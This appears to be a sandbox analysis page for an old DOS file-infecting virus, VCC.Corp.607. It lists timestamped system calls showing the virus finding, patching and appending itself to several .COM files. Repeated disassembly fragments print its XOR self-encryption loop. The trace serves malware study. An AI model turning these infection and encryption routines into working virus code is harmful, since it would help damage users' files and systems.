Sample viewer

vx.netlux.org/Virus.DOS.VCC.Corp.607

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:47:19.787273106Z 26 PC: 12a72 | Set disk transfer address
2018-12-17T22:47:19.789120215Z 37 PC: 12a80 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:47:19.790437029Z 37 PC: 12a84 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:47:19.791774238Z 78 PC: 12acf | Find first file
2018-12-17T22:47:19.798181981Z 61 PC: 12c33 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:47:19.802227099Z 63 PC: 12c42 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:47:19.807133669Z 66 PC: 12c51 | Move file pointer
2018-12-17T22:47:19.809035319Z 66 PC: 12c60 | Move file pointer
2018-12-17T22:47:19.810476935Z 64 PC: 12c6c | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:47:19.812299667Z 66 PC: 12c78 | Move file pointer
2018-12-17T22:47:19.815794325Z 44 PC: 12c7c | Get time 0x12c7c: mov byte ptr [bp + 0x25f], dl
0x12c80: call 0x12c96
0x12c83: mov ah, 0x40
0x12c85: mov cx, 0x25f
0x12c88: lea dx, word ptr [bp + 6]
0x12c8c: int 0x21
0x12c8e: call 0x12c96
0x12c91: mov ah, 0x3e
0x12c93: int 0x21
0x12c95: ret
0x12c96: lea si, word ptr [bp + 0x1f]
0x12c9a: mov cx, 0x221
0x12c9d: xor byte ptr [si], 0
0x12ca0: inc si
0x12ca1: dec cx
0x12ca2: jne 0x12c9d
0x12ca4: ret
0x12ca5: add word ptr [bx], di
0x12ca7: aas
0x12ca8: aas
2018-12-17T22:47:19.817876705Z 64 PC: 12c8e | Write file or device (Write 607 bytes on handle 5)
2018-12-17T22:47:19.827957138Z 62 PC: 12c95 | Close file
2018-12-17T22:47:19.836311607Z 79 PC: 12acf | Find next file
2018-12-17T22:47:19.839353344Z 61 PC: 12c33 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:47:19.846153688Z 63 PC: 12c42 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:47:19.852761141Z 66 PC: 12c51 | Move file pointer
2018-12-17T22:47:19.854069181Z 66 PC: 12c60 | Move file pointer
2018-12-17T22:47:19.855316532Z 64 PC: 12c6c | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:47:19.857936538Z 66 PC: 12c78 | Move file pointer
2018-12-17T22:47:19.859439481Z 44 PC: 12c7c | Get time 0x12c7c: mov byte ptr [bp + 0x25f], dl
0x12c80: call 0x12c96
0x12c83: mov ah, 0x40
0x12c85: mov cx, 0x25f
0x12c88: lea dx, word ptr [bp + 6]
0x12c8c: int 0x21
0x12c8e: call 0x12c96
0x12c91: mov ah, 0x3e
0x12c93: int 0x21
0x12c95: ret
0x12c96: lea si, word ptr [bp + 0x1f]
0x12c9a: mov cx, 0x221
0x12c9d: xor byte ptr [si], 0x43
0x12ca0: inc si
0x12ca1: dec cx
0x12ca2: jne 0x12c9d
0x12ca4: ret
0x12ca5: add word ptr [bx], di
0x12ca7: aas
0x12ca8: aas
2018-12-17T22:47:19.86163909Z 64 PC: 12c8e | Write file or device (Write 607 bytes on handle 5)
2018-12-17T22:47:19.869422877Z 62 PC: 12c95 | Close file
2018-12-17T22:47:19.877461548Z 79 PC: 12acf | Find next file
2018-12-17T22:47:19.879824051Z 61 PC: 12c33 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:47:19.886054453Z 63 PC: 12c42 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:47:19.891669343Z 66 PC: 12c51 | Move file pointer
2018-12-17T22:47:19.892855349Z 66 PC: 12c60 | Move file pointer
2018-12-17T22:47:19.894216735Z 64 PC: 12c6c | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:47:19.897272505Z 66 PC: 12c78 | Move file pointer
2018-12-17T22:47:19.898395913Z 44 PC: 12c7c | Get time 0x12c7c: mov byte ptr [bp + 0x25f], dl
0x12c80: call 0x12c96
0x12c83: mov ah, 0x40
0x12c85: mov cx, 0x25f
0x12c88: lea dx, word ptr [bp + 6]
0x12c8c: int 0x21
0x12c8e: call 0x12c96
0x12c91: mov ah, 0x3e
0x12c93: int 0x21
0x12c95: ret
0x12c96: lea si, word ptr [bp + 0x1f]
0x12c9a: mov cx, 0x221
0x12c9d: xor byte ptr [si], 0x43
0x12ca0: inc si
0x12ca1: dec cx
0x12ca2: jne 0x12c9d
0x12ca4: ret
0x12ca5: add word ptr [bx], di
0x12ca7: aas
0x12ca8: aas
2018-12-17T22:47:19.899979521Z 64 PC: 12c8e | Write file or device (Write 607 bytes on handle 5)
2018-12-17T22:47:19.906209177Z 62 PC: 12c95 | Close file
2018-12-17T22:47:19.911790425Z 79 PC: 12acf | Find next file
2018-12-17T22:47:19.913597659Z 61 PC: 12c33 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:47:19.918555847Z 63 PC: 12c42 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:47:19.922512857Z 66 PC: 12c51 | Move file pointer
2018-12-17T22:47:19.923849881Z 66 PC: 12c60 | Move file pointer
2018-12-17T22:47:19.925507379Z 64 PC: 12c6c | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:47:19.927562521Z 66 PC: 12c78 | Move file pointer
2018-12-17T22:47:19.92878849Z 44 PC: 12c7c | Get time 0x12c7c: mov byte ptr [bp + 0x25f], dl
0x12c80: call 0x12c96
0x12c83: mov ah, 0x40
0x12c85: mov cx, 0x25f
0x12c88: lea dx, word ptr [bp + 6]
0x12c8c: int 0x21
0x12c8e: call 0x12c96
0x12c91: mov ah, 0x3e
0x12c93: int 0x21
0x12c95: ret
0x12c96: lea si, word ptr [bp + 0x1f]
0x12c9a: mov cx, 0x221
0x12c9d: xor byte ptr [si], 0x49
0x12ca0: inc si
0x12ca1: dec cx
0x12ca2: jne 0x12c9d
0x12ca4: ret
0x12ca5: add word ptr [bx], di
0x12ca7: aas
0x12ca8: aas
2018-12-17T22:47:19.930826887Z 64 PC: 12c8e | Write file or device (Write 607 bytes on handle 5)
2018-12-17T22:47:19.938901432Z 62 PC: 12c95 | Close file
2018-12-17T22:47:19.94676874Z 79 PC: 12acf | Find next file
2018-12-17T22:47:19.949952914Z 61 PC: 12c33 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:47:19.956575716Z 63 PC: 12c42 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:47:19.963118115Z 66 PC: 12c51 | Move file pointer
2018-12-17T22:47:19.965823469Z 66 PC: 12c60 | Move file pointer
2018-12-17T22:47:19.967232471Z 64 PC: 12c6c | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:47:19.97016254Z 66 PC: 12c78 | Move file pointer
2018-12-17T22:47:19.972123311Z 44 PC: 12c7c | Get time 0x12c7c: mov byte ptr [bp + 0x25f], dl
0x12c80: call 0x12c96
0x12c83: mov ah, 0x40
0x12c85: mov cx, 0x25f
0x12c88: lea dx, word ptr [bp + 6]
0x12c8c: int 0x21
0x12c8e: call 0x12c96
0x12c91: mov ah, 0x3e
0x12c93: int 0x21
0x12c95: ret
0x12c96: lea si, word ptr [bp + 0x1f]
0x12c9a: mov cx, 0x221
0x12c9d: xor byte ptr [si], 0x49
0x12ca0: inc si
0x12ca1: dec cx
0x12ca2: jne 0x12c9d
0x12ca4: ret
0x12ca5: add word ptr [bx], di
0x12ca7: aas
0x12ca8: aas
2018-12-17T22:47:19.974597716Z 64 PC: 12c8e | Write file or device (Write 607 bytes on handle 5)
2018-12-17T22:47:19.983052054Z 62 PC: 12c95 | Close file
2018-12-17T22:47:19.991057733Z 79 PC: 12acf | Find next file
2018-12-17T22:47:19.993518091Z 61 PC: 12c33 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:47:20.000132167Z 63 PC: 12c42 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:47:20.007069878Z 66 PC: 12c51 | Move file pointer
2018-12-17T22:47:20.008582905Z 66 PC: 12c60 | Move file pointer
2018-12-17T22:47:20.009901069Z 64 PC: 12c6c | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:47:20.01260473Z 66 PC: 12c78 | Move file pointer
2018-12-17T22:47:20.014103851Z 44 PC: 12c7c | Get time 0x12c7c: mov byte ptr [bp + 0x25f], dl
0x12c80: call 0x12c96
0x12c83: mov ah, 0x40
0x12c85: mov cx, 0x25f
0x12c88: lea dx, word ptr [bp + 6]
0x12c8c: int 0x21
0x12c8e: call 0x12c96
0x12c91: mov ah, 0x3e
0x12c93: int 0x21
0x12c95: ret
0x12c96: lea si, word ptr [bp + 0x1f]
0x12c9a: mov cx, 0x221
0x12c9d: xor byte ptr [si], 0x4e
0x12ca0: inc si
0x12ca1: dec cx
0x12ca2: jne 0x12c9d
0x12ca4: ret
0x12ca5: add word ptr [bx], di
0x12ca7: aas
0x12ca8: aas
2018-12-17T22:47:20.016543505Z 64 PC: 12c8e | Write file or device (Write 607 bytes on handle 5)
2018-12-17T22:47:20.02655254Z 62 PC: 12c95 | Close file
2018-12-17T22:47:20.035100977Z 79 PC: 12acf | Find next file
2018-12-17T22:47:20.037963196Z 61 PC: 12c33 | Open file (Filename = 'PAH.COM')
2018-12-17T22:47:20.045186432Z 63 PC: 12c42 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:47:20.051638172Z 66 PC: 12c51 | Move file pointer
2018-12-17T22:47:20.053054481Z 66 PC: 12c60 | Move file pointer
2018-12-17T22:47:20.054711Z 64 PC: 12c6c | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:47:20.058171644Z 66 PC: 12c78 | Move file pointer
2018-12-17T22:47:20.059829643Z 44 PC: 12c7c | Get time 0x12c7c: mov byte ptr [bp + 0x25f], dl
0x12c80: call 0x12c96
0x12c83: mov ah, 0x40
0x12c85: mov cx, 0x25f
0x12c88: lea dx, word ptr [bp + 6]
0x12c8c: int 0x21
0x12c8e: call 0x12c96
0x12c91: mov ah, 0x3e
0x12c93: int 0x21
0x12c95: ret
0x12c96: lea si, word ptr [bp + 0x1f]
0x12c9a: mov cx, 0x221
0x12c9d: xor byte ptr [si], 0x4e
0x12ca0: inc si
0x12ca1: dec cx
0x12ca2: jne 0x12c9d
0x12ca4: ret
0x12ca5: add word ptr [bx], di
0x12ca7: aas
0x12ca8: aas
2018-12-17T22:47:20.062356243Z 64 PC: 12c8e | Write file or device (Write 607 bytes on handle 5)
2018-12-17T22:47:20.07058119Z 62 PC: 12c95 | Close file
2018-12-17T22:47:20.078439259Z 26 PC: 12ae9 | Set disk transfer address
2018-12-17T22:47:20.079495552Z 19 PC: 12afb | Delete file
2018-12-17T22:47:20.086072429Z 9 PC: 12b2d | Display string (String= 'NO MAN No man is an island He is a pennisula!! ')